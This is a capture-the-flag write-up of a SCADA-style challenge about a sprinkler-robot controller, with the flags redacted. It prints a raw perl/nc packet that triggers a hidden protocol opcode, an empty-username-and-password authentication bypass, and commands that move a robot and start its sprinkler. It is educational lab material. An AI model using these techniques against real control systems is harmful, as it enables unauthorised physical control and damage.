Sprinklers

May 18, 2026

Sprinklers

Overview

Sprinklers was a SCADA-style challenge around a controller binary for Monsatan’s sprinkler robots. The challenge had two solved objectives:

  • recover a hidden protocol flag
  • use an authenticated command path to move a robot into the office and trigger the sprinkler flag

Concrete flags are redacted in this public version.

Challenge Context

The provided controller binary was downloaded from:

https://dl.nsec/sprinklerbotctl

Running the client showed the documented commands:

list_robots
list_handles
get_pos <robotID>
move <robotID> <roomId> <x> <y>
start_sprinkler <robotID>
stop_sprinkler <robotID>
status <robotID>

Unauthenticated enumeration worked immediately:

./downloads/sprinklerbotctl list_robots
./downloads/sprinklerbotctl list_handles

The more useful commands, such as get_pos, move, and status, claimed to require authentication.

Hidden Opcode

The CLI exposed only a small set of commands, so I inspected the protocol directly. The binary used a simple TCP protocol over IPv6 with a TSEP magic value and numeric opcodes.

The public commands mapped to:

OpcodeCommand
1001list_robots
1003list_handles

The missing 1002 opcode was suspicious. Sending a raw packet directly to the service returned the first flag:

perl -e 'print pack("a4 a32 V V V", "TSEP", "", 1002, 0, 0)' \
  | nc -6 "9000:d37e:c40b:8954:216:3eff:fe22:7a3" 21374

The returned flag is redacted here:

[redacted sprinklers flag 1]

Authentication Bypass

The controller accepted --user and --pass values and used them to sign authenticated requests. Non-empty junk credentials failed, but empty strings were accepted:

./downloads/sprinklerbotctl --user "" --pass "" get_pos e045J865CBCW

The practical bypass was therefore:

--user "" --pass ""

Finding A Usable Robot

I enumerated robot positions and statuses with the empty-credential bypass:

for id in $(./downloads/sprinklerbotctl list_robots); do
  printf '%s\n' "== $id =="
  ./downloads/sprinklerbotctl --user "" --pass "" get_pos "$id"
  ./downloads/sprinklerbotctl --user "" --pass "" status "$id"
  printf '\n'
done

Several robots were in maintenance, offline, or had no useful resources. One healthy robot, J3yA5McUOO2K, was available.

Triggering The Office Sprinkler

The second objective was to move a healthy robot into the office and start the sprinkler:

./downloads/sprinklerbotctl --user "" --pass "" move J3yA5McUOO2K office 0 0
./downloads/sprinklerbotctl --user "" --pass "" start_sprinkler J3yA5McUOO2K
./downloads/sprinklerbotctl --user "" --pass "" status J3yA5McUOO2K

The status output showed emergency lockdown, an active sprinkler, and the second flag. The concrete flag is redacted:

FATAL ERROR: [redacted sprinklers flag 2]

Takeaways

The intended path combined binary/protocol inspection with a simple authentication edge case. The hidden opcode exposed the first flag, while the empty-credential signing behavior made the robot control workflow reachable.